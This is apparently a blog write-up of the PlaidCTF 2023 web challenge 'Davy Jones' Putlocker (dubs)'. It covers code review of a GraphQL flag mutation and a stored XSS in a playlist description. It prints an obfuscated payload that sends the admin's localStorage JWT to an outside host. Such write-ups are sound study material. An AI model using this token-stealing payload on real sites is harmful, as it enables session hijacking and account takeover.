PlaidCTF 2023-web-Davy Jones' Putlocker (dubs)

yoobi·2023년 5월 11일
0

Keywords

  • find the way how to READ FLAG using local env (a.k.a docker)
  • How to get JWT value using XSS
  • Understanding of GRAPHQL

Given info

  • dubs.tar.gz was given
└─part1
    │  .editorconfig
    │  .eslintrc.js
    │  .gitignore
    │  .yarnrc.yml
    │  docker-compose.yml
    │  package.json
    │  README.md
    │  tsconfig.base.json
    │  tsconfig.dom.json
    │  tsconfig.node.json
    │  turbo.json
    │  yarn.lock
    │
    ├─.vscode
    │      settings.json
    │
    ├─.yarn
    │  │  install-state.gz
    │  │
    │  └─releases
    │          yarn-3.4.1.cjs
    │
    ├─misc
    │      init.sql
    │
    └─packages
        ├─client
        │  │  Dockerfile
        │  │  index.html
        │  │  nginx.conf
        │  │  package.json
        │  │  tsconfig.json
        │  │  vite.config.mjs
        │  │
        │  ├─assets
        │  │      plaidplus.png
        │  │      star.png
        │  │
        │  ├─public
        │  │      brilliant-beetle.png
        │  │      eternal-cruise.png
        │  │      mermaidsea.png
        │  │      over-the-deck-rail.png
        │  │      the-seagulls-nest.png
        │  │
        │  └─src
        │      │  apollo.tsx
        │      │  index.scss
        │      │  index.tsx
        │      │
        │      ├─components
        │      │  ├─AddToPlaylistButton
        │      │  │      AddToPlaylistButton.module.scss
        │      │  │      AddToPlaylistButton.tsx
        │      │  │      index.tsx
        │      │  │
        │      │  ├─EnsureAdmin
        │      │  │      EnsureAdmin.tsx
        │      │  │      index.tsx
        │      │  │
        │      │  ├─EnsureLoggedIn
        │      │  │      EnsureLoggedIn.tsx
        │      │  │      index.tsx
        │      │  │
        │      │  ├─EpisodePanel
        │      │  │      EpisodePanel.module.scss
        │      │  │      EpisodePanel.tsx
        │      │  │      index.tsx
        │      │  │
        │      │  ├─Footer
        │      │  │      Footer.module.scss
        │      │  │      Footer.tsx
        │      │  │      index.tsx
        │      │  │
        │      │  ├─GenresSelector
        │      │  │      GenresSelector.module.scss
        │      │  │      GenresSelector.tsx
        │      │  │      index.tsx
        │      │  │
        │      │  ├─Header
        │      │  │      Header.module.scss
        │      │  │      Header.tsx
        │      │  │      index.tsx
        │      │  │
        │      │  ├─Panel
        │      │  │      index.tsx
        │      │  │      Panel.module.scss
        │      │  │      Panel.tsx
        │      │  │
        │      │  ├─Promo
        │      │  │      index.tsx
        │      │  │      Promo.module.scss
        │      │  │      Promo.tsx
        │      │  │
        │      │  ├─Rating
        │      │  │      index.tsx
        │      │  │      Rating.module.scss
        │      │  │      Rating.tsx
        │      │  │
        │      │  ├─ReportButton
        │      │  │      index.tsx
        │      │  │      ReportButton.module.scss
        │      │  │      ReportButton.tsx
        │      │  │
        │      │  ├─UpsertEpisodePanel
        │      │  │      index.tsx
        │      │  │      UpsertEpisodePanel.module.scss
        │      │  │      UpsertEpisodePanel.tsx
        │      │  │
        │      │  ├─UpsertPlaylistPanel
        │      │  │      index.tsx
        │      │  │      UpsertPlaylistPanel.module.scss
        │      │  │      UpsertPlaylistPanel.tsx
        │      │  │
        │      │  └─UpsertShowPanel
        │      │          index.tsx
        │      │          UpsertShowPanel.module.scss
        │      │          UpsertShowPanel.tsx
        │      │
        │      ├─utils
        │      │      css.tsx
        │      │      gql.tsx
        │      │      qs.tsx
        │      │      uuid.tsx
        │      │
        │      └─views
        │          ├─BaseView
        │          │      BaseView.module.scss
        │          │      BaseView.tsx
        │          │      index.tsx
        │          │
        │          ├─CreateEpisode
        │          │      CreateEpisode.module.scss
        │          │      CreateEpisode.tsx
        │          │      index.tsx
        │          │
        │          ├─CreatePlaylist
        │          │      CreatePlaylist.module.scss
        │          │      CreatePlaylist.tsx
        │          │      index.tsx
        │          │
        │          ├─CreateShow
        │          │      CreateShow.module.scss
        │          │      CreateShow.tsx
        │          │      index.tsx
        │          │
        │          ├─EditEpisode
        │          │      EditEpisode.module.scss
        │          │      EditEpisode.tsx
        │          │      index.tsx
        │          │
        │          ├─EditShow
        │          │      EditShow.module.scss
        │          │      EditShow.tsx
        │          │      index.tsx
        │          │
        │          ├─Episode
        │          │      Episode.module.scss
        │          │      Episode.tsx
        │          │      index.tsx
        │          │
        │          ├─Genre
        │          │      Genre.module.scss
        │          │      Genre.tsx
        │          │      index.tsx
        │          │      ShowsPanel.module.scss
        │          │      ShowsPanel.tsx
        │          │
        │          ├─Home
        │          │      FeaturedPanel.module.scss
        │          │      FeaturedPanel.tsx
        │          │      Home.module.scss
        │          │      Home.tsx
        │          │      index.tsx
        │          │      OngoingPanel.module.scss
        │          │      OngoingPanel.tsx
        │          │      RecentPanel.module.scss
        │          │      RecentPanel.tsx
        │          │
        │          ├─Login
        │          │      index.tsx
        │          │      Login.module.scss
        │          │      Login.tsx
        │          │      LoginPanel.module.scss
        │          │      LoginPanel.tsx
        │          │
        │          ├─Playlist
        │          │      index.tsx
        │          │      Playlist.module.scss
        │          │      Playlist.tsx
        │          │
        │          ├─Register
        │          │      index.tsx
        │          │      Register.module.scss
        │          │      Register.tsx
        │          │      RegisterPanel.module.scss
        │          │      RegisterPanel.tsx
        │          │
        │          ├─Show
        │          │      EpisodesPanel.module.scss
        │          │      EpisodesPanel.tsx
        │          │      index.tsx
        │          │      InfoPanel.module.scss
        │          │      InfoPanel.tsx
        │          │      RecentPanel.module.scss
        │          │      RecentPanel.tsx
        │          │      Show.module.scss
        │          │      Show.tsx
        │          │
        │          └─User
        │                  index.tsx
        │                  User.module.scss
        │                  User.tsx
        │                  UserPlaylistsPanel.module.scss
        │                  UserPlaylistsPanel.tsx
        │                  UserShowsPanel.module.scss
        │                  UserShowsPanel.tsx
        │
        └─server
            │  .eslintignore
            │  build.mjs
            │  Dockerfile
            │  package.json
            │  README.md
            │  tsconfig.json
            │
            └─src
                    auth.mts
                    context.mts
                    db.mts
                    index.mts
                    jwt.mts
                    renderHtml.mts
                    report.mts
                    sql.mts
                    types.mts
  • We can find the FLAG value in index.mts
//index.mts
...
const Flag = process.env["FLAG"] ?? "PCTF{fake_flag}";
...
// in const resolvers = {Mutation: {...}}
...
flag: async (
	_: {},
	args: {},
	context: Context
) => {
	assertLoggedIn(context);
	await assertAdmin(context);

	return Flag;
}
...
  • We should bypass assertAdmin() func
//auth.mts
...
export async function assertAdmin(context: Context & { user: string }) {
	const user = await loadUser(context.user);

	if (user.name !== "admin") {
		throw new Error("Not authorized");
	}
}
...
  • It means, we need to login as ADMIN

  • And, this chall have admin bot to execute our URL

  • Thus, maybe have XSS vuln

  • In Local ENV (docker), we can access ADMIN account [admin / password]

  • After login as ADMIN, if we access the graphql to mutation > flag, we can read FLAG

Flow

  1. Find XSS to get ADMIN authority
  2. Use ADMIN to READ REAL FLAG

Find XSS

  • We spent time for find XSS vuln.
  • We can do XSS in Create Playlist service's Description field
  • Use <img src=x onerror=alert(1)> test

  • It works!

Get REAL FLAG

  • Use XSS to get ADMIN token
    <img src=x>
ZG9jdW1lbnQud3JpdGUoIjxpbWcgc3JjPScvL3BlbnRlc3Q6MDAwMC8/Yz0iKyBKU09OLnN0cmluZ2lmeShsb2NhbFN0b3JhZ2UpICsiJyAvPiIp

>

document.write("<img src='//pentest:0000/?c="+ JSON.stringify(localStorage) +"' />")
  • Give the user page URL to ADMIN BOT
    http://10.47.18.149:5000/user/3a9d6423-fdee-4a35-9d31-68fe192ed992
  • It will send ADMIN account's token value
  • We can READ REAL FLAG with the JWT token value

profile
this is yoobi

0개의 댓글